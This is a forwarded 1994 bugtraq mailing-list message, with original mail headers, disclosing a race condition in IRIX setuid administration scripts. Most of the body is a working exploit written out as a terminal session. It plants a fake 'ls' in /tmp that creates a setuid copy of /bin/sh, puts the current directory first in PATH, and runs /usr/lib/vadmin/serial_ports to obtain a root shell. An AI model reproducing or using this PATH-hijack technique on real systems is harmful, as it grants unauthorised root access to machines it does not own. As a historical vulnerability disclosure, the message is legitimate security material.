[32] in bugtraq
Earlier mail from the bugtraq mailing list... forwarded.
wchuang@ATHENA.MIT.EDU (wchuang@ATHENA.MIT.EDU)
Tue Oct 18 18:36:04 1994
From @galaxy.net.Hawaii.Edu:transit@primus.com Wed Feb 2 15:36:23 1994
Received: from primus.com ([134.24.10.58]) by galaxy.net.Hawaii.Edu with SMTP i <120196>; Wed, 2 Feb 1994 15:04:57 -1000
Received: by primus.com id AA01056
(5.65c/IDA-1.4.4 for no-more-secrets@primus.com); Wed, 2 Feb 1994 19:01:42 -000
From: transit <transit@primus.com>
Message-Id: <199402030101.AA01056@primus.com>
Subject: IRIX Race Conditions
To: no-more-secrets@primus.com
Date: Wed, 2 Feb 1994 15:01:42 -1000
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 392
Status: OR
IRIX Race Conditions with their SUID administration scripts
are evil juju.
reality 1% cat > /tmp/ls
#!/bin/sh
cp /bin/sh /tmp/foo
chmod 4777 /tmp/foo
^D
reality 2% chmod 755 /tmp/ls
reality 3% cd /tmp
reality 4% set PATH=( . $PATH )
reality 5% /usr/lib/vadmin/serial_ports
# wait about 10-20 seconds and hit ^C, or wait for it to
# die out completely
reality 6% /tmp/foo
# whoami
root
tx.
